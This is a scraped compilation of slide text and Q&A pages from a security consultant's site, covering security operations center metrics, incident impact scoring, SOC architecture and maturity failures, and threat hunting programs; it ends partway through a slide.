threatsDefine Success Carefully Copyright Christopher Crowley Security Operations 15 What Is Success for an SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success Copyright Christopher Crowley Security Operations 16 Call to Action •Please, help the SOC to make sure: •It has one; •It’s a good one; •It believes in it; •Your organization approves and supports that statement of successReturn to Work and Critique Your SOC’s Statement of Success Copyright Christopher Crowley Security Operations 17 Perversion Through Metrics •If a person is judged (baseball card / analyst judgement coming later) on metrics that encourage bad behavior, the person will be driven to that behavior •Incident count is a good example of this. More or fewer incidents handled isn’t necessarily advancing success •Metrics are measurements; Service Level Objectives are proposed levels of performance; until there’s a basis, resist the urge to assert performance requirementsWhat Behavior Does the Metric Reinforce? Copyright Christopher Crowley Security Operations 18 Metrics: Reported Copyright Christopher Crowley Security Operations 19 Steering Committee Reported MetricSC Reported Metrics •On a scale of 1,2,3, was it avoidable? •1 -a measure, already available in the environment wasn’t applied and resulted in the incident •2 -a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 -nothing is available to prevent that method of attack •Discrete scale: only choices 1,2,or 3. There’s no 2.6 or 1.7. •Largely measures Self-AssessmentCrowley Incident Avoidability – 1,2,3 Copyright Christopher Crowley Security Operations 20 User Reported MetricsUser Reported Metrics Biz Unit 1 Type1: 2 Type2: 0 Type3: 0Biz Unit 2 Type1: 0 Type2: 4 Type3: 1Biz Unit 3 Type1: 8 Type2: 3 Type3: 0Biz Unit 4 Type1: 2 Type2: 0 Type3: 1Crowley Incident Avoidability – 1,2,3 Copyright Christopher Crowley Security Operations 21 Metrics: Service Level Objectives Copyright Christopher Crowley Security Operations 22 Service Level Objective SLO •Service level objectives dictate the performance levels required by the organizations •If the SOC is not able to meet SLOs, look for optimizations that favor the shortest path to accomplish the objective •No optimizations available? Seek additional resources •SLO: no monetary penalty for failure •SLA: monetary penalty for failureSOC’s Contract with the Business Copyright Christopher Crowley Security Operations 23 Service Level Objective SLO •Status information will be delivered to the affected Business Unit (BU) at a specified frequency •Initial notification within 1 hour of suspected impact to BU’s resources (not from alerts in SIEM) •Minimum of daily updates on moderate(+) incidents •More reporting instances to consider: •Vulnerability scanning and pen test (bad) results •Threat intelligence: targeting of BU’s systemsReporting to Affected Business Unit Copyright Christopher Crowley Security Operations 24 Metrics: SOC Internal Health and Performance Copyright Christopher Crowley Security Operations 25 Measurement and Metrics Internal Metrics •Lots of metrics are to track within the SOC, but aren’t reported outward from SOC •Primarily for internal performance improvementInternal Metrics Copyright Christopher Crowley Security Operations 26 Measurement and Metrics Internal Metrics •Each analyst is assessed on same measures •Carson Zimmerman’s 2018 SOC Summit Keynote has a good baseball card •BTW, I am not a sports spectator, flavor it for your company’s culture, this is the gistBaseball CardAnalyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days Copyright Christopher Crowley Security Operations 27 Measurement and Metrics Internal Metrics •Zimmerman / Crowley talk: https://mgt517.com/first-metrics •Many more specific examples thereMore Ideas Copyright Christopher Crowley Security Operations 28 Impact Copyright Christopher Crowley Security Operations 29 Impact Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many types, or a common type) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data HighIncident Impact LevelsSteering Committee Copyright Christopher Crowley Security Operations 30 Impact Definition •Low –minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular –predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverableIncident Impact Categories (simplified US-CERT)Steering Committee Copyright Christopher Crowley Security Operations 31 Incident Impact Quantification Charts •The chart on the next pages is something I created to articulate impact •This is both for during (status) and after (final report) of an incident •Produces a quantitative impact scale (3-300) •I’m going to show a stepwise build up •Then an incident impact viewTakes a lot of Work Copyright Christopher Crowley Security Operations 32 Impact Quantification Incident Impact QuantificationSteering Committee •Start with a list of systems (hunt later) •For each system define a quantity for impact •The quantities are relative to all the systems in the organization•Start with broad containers (workstations and servers) then develop specific sub-containers (domain controllers, DNS servers, accounts receivable, web commerce system, …)System #8 – Accounts Payable – Check Writing Copyright Christopher Crowley Security Operations 33 Impact Quantification Incident Impact Quantification ExampleSteering Committee For levels low, moderate, high: assign point values (1- 10) for the system relative to other systems 3 5 9 Low Moderate High Functional Informational RecoverablePro-tip: Start with 3,5,9 as generic default for all, and adjust from thereSystem #8 – Accounts Payable – Check Writing Copyright Christopher Crowley Security Operations 34 3 5 9 Low Moderate High 5 Functional 7 Informational 9 RecoverableImpact Quantification Incident Impact Quantification ExampleSteering Committee Repeat (1-10)for impact to mission of this system: functional, informational, and recovery difficulty Pro-tip: Start with 5,7,9 as default then adjust on a per system basis Copyright Christopher Crowley Security Operations 35 Impact Quantification 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81Math is Magic!Steering Committee Color coding shifts because overall scale is now 3 -81System #8 – Accounts Payable – Check Writing Copyright Christopher Crowley Security Operations 36 Incident Impact Quantification Charts •SOC staff and Steering Committee informed of and trained on meanings of •Low, Moderate, High •Functional, Information and Recoverable •There should be guidance written, examples provided, specific examplesGuidance for Impact Assessment Copyright Christopher Crowley Security Operations 37 Impact Quantification 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81Incident Impact Quantification Example of an IncidentSteering Committee Current Incident 73 25+21+27Org’s defined system valueOrg’s defined impact valueSystem #8 – Accounts Payable – Check Writing Copyright Christopher Crowley Security Operations 38 Risk Management Support Functions •The risk decisions need to be shared with the SOC, and the SOC needs to provide situational awareness about the change of the risk to the systems •Change in threats or vulnerabilities •My preferred way to discuss risk is using the metonymy of Alex Honnold Copyright Christopher Crowley Security Operations 39 Impact Reporting to Users Options •Users of systems should be aware of the impact quantification system •Users affected by or involved in an incident should informed of the impact (73/300) •In addition to “avoidability” metric report, perhaps Business Unit based incident impact metric report Copyright Christopher Crowley Security Operations 40 User Reported MetricsUser Reported Metrics BU 1: 127 Type1: 2 •31, 86 Type2: 0 Type3: 0BU 2: 367 Type1: 0 Type2: 4 •48,21,126,80 Type3: 1 •92BU 3: 985 Type1: 8 •102,34,16,201, 74,51,118,29 Type2: 3 •49,201,110 Type3: 0BU 4: 403 Type1: 2 •93,231 Type2: 0 Type3: 1 •79Crowley Incident Avoidability – 1,2,3 and Impact (More is Worse) Copyright Christopher Crowley Security Operations 41 Want to Hear More? Copyright Christopher Crowley Security Operations 42 Measurement, Metrics, and More… •This and many other talks: https://mgt517.com/soc https://mgt517.com/youtube •https://www.montance.com •2020 SOC Survey Results To be released December, 18th https://soc-survey.comPDFs, PPTs, Videos, … --- ## Source: https://montance.com/questions.php?id=150 [![pdf](content/images/icons/pdf.svg) Use Case Development: Excerpt](https://mgt517.com/soc) Use Case Development: Excerpt Presentation by Christopher Crowley (2020-11-01) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Use Case Development: Excerpt ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=125 [![pdf](content/images/icons/pdf.svg) CloudSecurity Alliance Metrics.pdf](https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link) CloudSecurity Alliance Metrics Presentation covering Metrics titled 'CloudSecurity Alliance Metrics'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Statement of Success' for a SOC? A: When it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of information assets. * Q: What are the four classes of metrics? A: Business, Technological, Operational, and Analytical. * Q: What is 'Mean Time to Detect' (MTTD)? A: The average time it takes to identify a security incident. * Q: What is 'Mean Time to Respond' (MTTR)? A: The average time it takes to contain and remediate a known security incident. * Q: What is 'Dwell Time'? A: The time an attacker remains undetected in a network. * Q: What is 'False Positive Rate'? A: The percentage of alerts that are not valid security incidents. * Q: What is 'Analyst Utilization'? A: The percentage of time analysts spend on core tasks versus administrative overhead. * Q: What is 'Coverage'? A: The percentage of assets or attack vectors monitored by the SOC. * Q: What is 'Maturity'? A: The degree to which processes are defined, managed, and optimized. * Q: What is the 'Cyber Defense Matrix'? A: A framework mapping security functions to asset types. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=124 [![pdf](content/images/icons/pdf.svg) SOC Architecture Maturity Failures.pdf](https://drive.google.com/file/d/1jdjpSwQAIzFvfZoGjAPgxF6-cvCPBF_v/view?usp=drive_link) SOC Architecture Maturity Failures Presentation covering Architecture titled 'SOC Architecture Maturity Failures'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the most common architectural failure in SOCs? A: Lack of visibility. * Q: What is 'Siloed' security? A: Security tools and teams operating in isolation. * Q: What is 'Alert Fatigue'? A: Analysts becoming desensitized to frequent alarms. * Q: What is 'Shadow IT'? A: IT systems deployed without central approval or oversight. * Q: What is 'Technical Debt'? A: The implied cost of additional rework caused by choosing an easy solution now instead of a better approach. * Q: What is 'Complexity' in security architecture? A: The enemy of security; too many tools and configurations. * Q: What is 'Scalability'? A: The ability of a system to handle growing amounts of work. * Q: What is 'Interoperability'? A: The ability of different systems to work together. * Q: What is 'Resilience'? A: The capacity to recover quickly from difficulties. * Q: What is 'Continuous Improvement'? A: The ongoing effort to improve products, services, or processes. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1jdjpSwQAIzFvfZoGjAPgxF6-cvCPBF_v/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1jdjpSwQAIzFvfZoGjAPgxF6-cvCPBF_v/view?usp=drive_link]** SOC Architecture, Maturity, and Common Failures Montance® LLC – Maryland, USA SOC-Class.com || Montance® LLC1Copyright 2020 Montance® LLC – All Rights Reserved. Christopher Crowley – Montance® LLC•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Sectors: Defense, Education, Energy, Government, Software Development, Financial, Telecom… •Consultant, author of SOC - Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504 Montance® LLC 2 This Material is Excerpt from SOC-Class and my Public Talks: There’s a lot of additional information available online that I’ve written or recorded already SOC-Class.com || Montance® LLC3Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Bank of Ghana Security Architecture Government Released Document: https://www.bog.gov.gh/wp -content/uploads/2019/09/CYBER -AND - INFORMATION -SECURITY -DIRECTIVE.pdf SOC-Class.com || Montance® LLC4Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Bank of Ghana - Mandates•I read the BOG Cyber…Directive •I was surprised to find it is a moderately good document ☺ •I am happy to see the mandate for having an (ISOC) information security operations center •I think the document is a sound basis and a good set of requirements upon which to build a security program and a SOC Threats SOC-Class.com || Montance® LLC6Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Threats - taxonomy (B$,M$,T$)$B $M $T Montance® LLC 7•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. SOC-Class Reference Architecture SOC-Class.com || Montance® LLC8Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Functional Areas of a SOCSteering Committee Command Center Monitoring Threat Intelligence Incident Handling Forensics Self-Assessment Steering Committee•Three Functions Performed in Steering Committee Lifetime, Re-use existing governance structure whenever available (The BOG doc requires a steering committee) 1.Design: requirements, capability, services offered, statement of success (become metrics) 2.Build: assure alignment with design objectives 3.Operational oversight: guiding SOC adaptation and performance improvements in response to changing IT requirements and business drivers Steering Committee Variations•Formal structured committee, part of a larger governance program, representation as described •Less formal structure of voting, etc. but formal membership definition •Two groups: strategic decision makers (2 -3 people) and tactical implementers (8+ people) •Ad hoc structure ( not recommended ) 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81Impact Quantification Current Incident 7325+21+27•Systems identified (start with big groupings like workstation / server) •Low, Moderate, High defined (plus analyst guidance) •Steering committee defines quantitative values •All SOC Incident Reports include this matrix •This or something like it to quantify incident impact •After an incident, revision of the system’s value may (and often does) occur Pre-negotiated impact assessment grid Functional Components of SOC•To discuss a SOC, I discuss the functional capabilities a SOC is expected to perform •I address in the SOC -Class •Software and hardware to make a SOC •SOC structural arrangements •SOC interactions to the constituents •Processes for repeatable, effective operations •Orchestration and Automation guidance Components by Another Name•You might call these functions different things •Functions may be combined: CC+MON, IR+FOR, TI+SA (or other variations) •Likely have a pool of staff to accomplish these various tasks without separation by function •Might be with arranged between staff and outsourced partners (outsourcing section later) •The SOC needs to do all these things Command Center•The Command Center directs action and manages communication of all security operations related activity •Single point of entry for security related requests (telephone number for police/fire/health emergencies) •Authority to direct response and notify constituents •Verification, escalation, triage, deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems, engage appropriate parties, meet reporting SLAs SOC Operations•SOC Operations – Probably Command Center or Monitoring sub -function •There is quite a bit of care and feeding required for whatever technology we select •Where does this belong within the SOC? •Infrastructure as part of Command Center •Maybe be in MON or “matrixed” in small SOC •Usually in CC or MON, unlikely in other functions Monitoring•Fundamental and critical: monitor for issues •Watching the actions and communication of the information systems for unwanted activity, common failure is bad inventory of systems and owners ( defensive topography ) •Dedicated hardware, software, and staff •Gigantic amounts of constantly changing data •Objective : fast, accurate detection of issues Threat Intelligence•Insecure systems won’t be compromised/impacted without a threat leveraging the vulnerability •Study threats to our environment (predicted and experienced) to better prepare, detect, and respond •We have the home field advantage, let’s use it! •Produce and/or consume threat intelligence •Keep organization informed of threat landscape •Objective: tactical and strategic advantage over adversaries Incident Handling•Incident Response is engaged once a problem is detected, usually by MON or external notification •Strives to minimize the damage from the incident •Analysis to determine extent of the incident •Assist to return systems to normal state •Leverages lessons learned from incidents to enhance security posture and defensibility of the organization •Objective: minimize impact of problems Incident Handling•Emblematic description: Three characters of incident response •Janitorial Services: low cost, routine •Fire Fighters: intervention, minimize loss •Apex Predator: high performance •https://www.mgt517.com/ir3 Forensics•Often supporting Incident Response, authoritative capability to detail the methodology and extent of the incident •Also useful for self -assessment within procurement process •Can separate further into these forensics specialties •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment Forensics – Host•Host Forensics studies data on individual systems – including cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: collection of artifacts and detailed analysis of events on systems of interest Forensics – Network•Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised Forensics – Reverse Engineering•RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also, could be firmware, hardware, etc. •Objective: analysis to determine the capability of hardware or software in use in the organization to determine its appropriateness Forensics – eDiscovery•eDiscovery is a necessary capability in every organization •If it already exists don’t fight to bring it into the SOC •If you are building a SOC and don’t have it, incorporate into design •Often interfaces with Legal team to define collection objectives •Leverages existing infrastructure to efficiently support collection •Manage retention of records (email, texts, documents, etc.) •Fulfill obligation to support electronic discovery •Example: US Government Freedom of Information Act (FOIA) requests must be filled upon request or justify not supplying the data •Objective: Collect specified information assets in a reproducible (hence defendable), cost effective, and thorough fashion Self-Assessment•Configuration Monitoring •Vulnerability Management •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist compromise and recover gracefully when incidents occur Configuration Monitoring•CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control and approval •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring for change identification •Objective: Develop system and application baselines and configurations, support monitoring changes from specified baseline settings to return to specification Vulnerability Management•Vulnerability Management is testing systems for issues, such as missing patches or misconfiguration and directing remediation and getting identified issues resolved •Typically performed by a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: such as vulnerabilities of known flaws or weak configurations, minimizing attack opportunities and effectiveness Penetration Testing•Pen Testing goes beyond vulnerability scans to model/demonstrate how an adversary would compromise a system and what is at risk •Time intensive, substantial expertise required •Objective: determine the risk of an information system by demonstrating impact of a compromise and model adversary attack methods against a system Penetration Testing Drives Change•When I say, you have to patch MS20 -013, organizations usually don’t care and make all sorts of excuses or operational reasons why not •When I say in the debrief of the pen -test: I broke in to your accounts payable system and sent myself a check for $100,000 - patches happen quickly •True also for your SOC analysts, SOC pen testers are internal motivation Exercises•Exercises model plausible scenarios and challenge the staff identify it, then follow the procedures appropriate to that scenario. Exercises reinforce authorized / good practices •Very valuable, often neglected •The culture of “too busy” frequently prevents exercises •Improvement presumed to occur somehow “in process” •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues Maturity Assessment Methods SOC-CMM MITRE ATT&CK Other Considerations SOC-Class.com || Montance® LLC32Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Maturity•SOC CMM for assessment of maturity •Not the same as my SOC- class, but strong correlation ATT&CK Anatomy ATT&CK Terminology: IOC vs TTPs •Indicator of Compromise (IOC): specific trait of malicious activity •ATT&CK considers its Behavioral Analytics Development an upgrade from IoCs that moves away from specific details of software and moves toward techniques an adversary must use or implement to accomplish a tactic •Tactics, Techniques, Procedures (TTPs): industry name for all encompassing descriptors of adversary capability and behavior. ATT&CK is a framework to enumerate and communicate TTPs, with the added capability to articulate what can be done to detect and interfere (degrade, disrupt, deceive,…) with the TTPs in OSes MITRE ATT&CK Intention•Adversary Emulation •Red Teaming •Behavioral Analytics Development •Defensive Gap Analysis •SOC Maturity Assessment •Cyber Threat Intelligence Enrichment •(These are expressed in the white paper) 36 MITRE ATT&CK: Defensive Gap Analysis•MITRE suggests ATT&CK framework use is to identify the coverage aspect of the SOC’s defensive posture through “Defensive Gap Analysis” •Blue – High Confidence •Yellow – Med Confidence •Orange – Low & no plan MITRE ATT&CK Maturity•Lessons Learned Applying ATT&CK -Based SOC Assessments •Assumes a “third party” external assessment, but can be self - assessed. Takes 1 -2 months •Inputs: survey, documentation, & interviews. Document review only •Artifacts: detection heatmap, prioritization plan of TTPs for detection improvement based on threat intelligence and MITRE analyst direction 38 Failures I’ve been identifying them throughout SOC-Class.com || Montance® LLC39Copyright 2020 Montance® LLC - All Rights Reserved. All Wrongs Reversed? No Vision for Architecture•You might disagree with my reference architecture. If you do, I’d love to discuss what you think is missing or superfluous •If you’ve put that much thought into it already, congratulations you haven’t fallen into the trap of this failure •The failure: no clear vision of architecture Montance® LLC 40 Steering Committee •Almost no organization starts the SOC project by identifying the Steering Committee structure and members. Why would you? It’s all about monitors, shift work and Tier 1 -3 Analysts, SIEMs, Threat Intelligence Feeds, … •The failure: steering committee doesn’t exist or is inept so SOC direction (hence the term Steering) isn’t defined and there’s tremendous waste of effort Montance® LLC 41 Defensive Topography•IT growth is persistent. SOCs rarely integrate into IT system development and deployment processes. SOCs rarely integrate into procurement and contracting •The failure: defensive topography is presumed to be someone else’s responsibility to give to the SOC. No. The SOC is responsible for cataloging “well managed systems” and “everything else”; knowing what assets are authorized Montance® LLC 42 Foresight, Consistency, Self -Discipline•Maturity is the term that is often discussed, but rarely defined •There were two clear (and freely available) methods of assessing maturity. If your SOC has already adopted one (anything) and self -assesses annually you haven’t made this mistake •The failure: SOC constituents change the maturity measurements frequently because there was no clear agreement of maturity objectives initially Montance® LLC 43 Christopher Crowley•This slide deck available: https://mgt517.com/socas are many other decks up one folder in Public. •I discuss these concepts and a lot more in my SOC -Class: https://soc -class.com •Please take the SOC -Survey: Montance® LLC 44 https://mgt517.com/2020 -take -survey --- ## Source: https://montance.com/questions.php?id=149 [![pdf](content/images/icons/pdf.svg) Giving Effective Presentations: A Crash Course with Chris Crowley](https://www.sans.org/blog/giving-effective-presentations-crash-course-with-chris-crowley/) Giving Effective Presentations Presentation by Christopher Crowley (2020-09-29) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Giving Effective Presentations ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=147 [![pdf](content/images/icons/pdf.svg) Mobile Attack Surface](https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link) Mobile Attack Surface Presentation by Christopher Crowley (2020-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Mobile Attack Surface ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=148 [![pdf](content/images/icons/pdf.svg) WWHF Hunting by Numbers FINAL PDF](https://drive.google.com/file/d/10H5YY4mtOIMCVh3VMKZv-_cqxrdp0BEv/view?usp=drive_link) WWHF Hunting by Numbers Presentation by Christopher Crowley (2020-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for WWHF Hunting by Numbers ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/10H5YY4mtOIMCVh3VMKZv-_cqxrdp0BEv/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/10H5YY4mtOIMCVh3VMKZv-_cqxrdp0BEv/view?usp=drive_link]** Hunting by Numbers: Defensive Hunting Program and Outcomes Montance® LLC © 2020 Christopher Crowley | All Rights Reserved Christopher Crowley –Montance® LLC•SOC-Survey.com << Please take it •I recorded SOC-Class for Applied Network Defense, and the reviews were: “Feels like he’s reading me a book”, a little of the unguarded me will come out today, since I’m talking about hunting, a topic I really like, and fear it becoming needlessly routine •Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER), BA/BS: English/(MolecularBio)/CIS •Consulting Sectors: Defense, Education, Energy, Government, Software Development, Financial, Telecom… Global Perspective, Global Contractor, Adaptable •Consultant, author of SOC-Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504. Taught: BASH, Apache, SEC401, SEC503, SEC560, SEC580, FOR585, MGT517, MGT535. Montance® LLC 2 Hunting by Numbers -00•A contrived analogy to painting by numbers, I’ll admit •But I really am trying to make it as easy as possible to explain the sequence for building a business aligned, sustainable, effective, threat intel informed, operationally focused, adaptive hunting program Montance® LLC 3 This Material is Excerpt from SOC-Class and other Talks Further info available online for things I reference only briefly “Where I’m coming from” for this Hunting Program to Make Sense SOC-Class.com || Montance® LLC 4Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Preface: Hunting Also, Executive Summary and Conclusion SOC-Class.com || Montance® LLC 5Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Hunting: Valuable, Undervalued•Hunting provides adaptability to the SOC •I am in the midst of a support call with (unnamed hardware vendor) inflexible, poorly trained (but earnest and nice) support staff •Is your SOC inflexible, earnest, and nice? Or an adaptive, responsive engine of Information System’s Conf-Integ-Avail preservation and advancement? •Hunting is research & development for the SOC, you must exert effort to demonstrate value of that effort, and move some of it to engineering projects Threats SOC-Class.com || Montance® LLC 7Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Threats -taxonomy (B$,M$,T$) $B $M $T Montance® LLC 8•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. https://nsarchive2.gwu.edu/NSAEBB/NSAEBB424/docs/Cyber-081.pdf SOC Reference Architecture This section covered at great length elsewhere, will go through it quickly here as a basis for the hunting discussion following SOC-Class.com || Montance® LLC 9Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Functional Areas of a SOC Steering Committee Command Center Monitoring Threat Intelligence Incident Handling Forensics Self-Assessment Steering Committee•Three Functions Performed in Steering Committee Lifetime, Re-use existing governance structure if available 1.Design: requirements, capability, services offered, statement of success (become metrics) 2.Build: assure alignment with design objectives 3.Operational oversight: guiding SOC adaptation and performance improvements in response to changing IT requirements and business drivers Steering Committee Variations•Formal structured committee, part of a larger governance program, representation for all constituents of SOC, decisions via formal voting •Less formal structure of voting, etc. but formal membership definition •Two groups: strategic decision makers (2-3 people) and tactical implementers (8+ people) •Ad hoc structure ( not recommended ) 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81 Impact QuantificationCurrent Incident 73 25+21+27•Systems identified (start with big groupings) •Low, Moderate, High defined (plus analyst guidance) •Steering committee defines quantitative values •All SOC Incident Reports include this matrix •This or something like it to quantify incident impact •After an incident, revision of the system’s value may (and often does) occur Pre-negotiated impact assessment grid Functional Components of SOC•To discuss a SOC, I discuss the functional capabilities a SOC is expected to perform •I address in the SOC-Class •Software and hardware to make a SOC •SOC structural arrangements •SOC interactions to the constituents •Processes for repeatable, effective operations •Orchestration and Automation guidance Components by Another Name•You might call these functions different things •Functions may be combined: CC+MON, IR+FOR, TI+SA (or other variations) •Likely have a pool of staff to accomplish these various tasks without separation by function •Might be with arranged between internal staff, contractors, and outsourced partners •The SOC needs to do all these things Command Center•The Command Center directs action and manages communication of all security operations related activity •Single point of entry for security related requests (telephone number for police/fire/health emergencies) •Authority to direct response and notify constituents •Verification, escalation, triage, deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems, engage appropriate parties, meet reporting SLAs SOC Operations•SOC Operations –Probably Command Center or Monitoring sub-function •There is quite a bit of care and feeding required for whatever technology we select •Where does this belong within the SOC? •Infrastructure as part of Command Center •Maybe be in MON or “matrixed” in small SOC •Usually in CC or MON, unlikely in other functions Monitoring•Fundamental and critical: monitor for issues •Watching the actions and communication of the information systems for unwanted activity, common failure is bad inventory of systems and owners ( defensive topography ) •Dedicated hardware, software, and staff •Lots of constantly changing data •Objective : fast, accurate detection of issues Threat Intelligence•Insecure systems won’t be compromised/impacted without a threat leveraging the vulnerability •Study threats to our environment (predicted and experienced) to better prepare, detect, and respond •We have the home field advantage, let’s use it! •Produce and/or consume threat intelligence •Keep organization informed of threat landscape •Objective: tactical and strategic advantage over adversaries Incident Handling•Incident Response is engaged once a problem is detected, usually by MON or external notification •Strives to minimize the damage from the incident •Analysis to determine extent of the incident •Assist to return systems to normal state •Leverages lessons learned from incidents to enhance security posture and defensibility of the organization •Objective: minimize impact of problems Incident Handling•Emblematic description: Three characters of incident response •Janitorial Services: low cost, routine •Fire Fighters: intervention, minimize loss •Apex Predator: high performance •https://www.mgt517.com/ir3 Forensics –All: Details Follow•Supports Incident Response, provides authoritative analysis of methodology and extent of an incident •Aids assessments within procurement process •Can separate further into these forensics specialties •Host; Network; Reverse Engineering; eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment Forensics –Host•Host Forensics studies data on individual systems – including cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: collection of artifacts and detailed analysis of events on systems of interest Forensics –Network•Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised Forensics –Reverse Engineering•RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also, could be firmware, hardware, etc. •Objective: analysis to determine the capability of hardware or software in use in the organization to determine its appropriateness Forensics –eDiscovery•eDiscovery is a necessary capability in every organization •If it already exists don’t fight to bring it into the SOC •If you are building a SOC and don’t have it, incorporate into design •Often interfaces with Legal team to define collection objectives •Leverages existing infrastructure to efficiently support collection •Manage retention of records (email, texts, documents, etc.) •Fulfill obligation to support electronic discovery •Example: US Government Freedom of Information Act (FOIA) requests must be filled upon request or justify not supplying the data •Objective: Collect specified information assets in a reproducible (hence defendable), cost effective, and thorough fashion Self-Assessment –All: Details Follow•Configuration Monitoring •Vulnerability Management •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist compromise and recover gracefully when incidents occur Configuration Manage/Monitor•CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control and approval •File 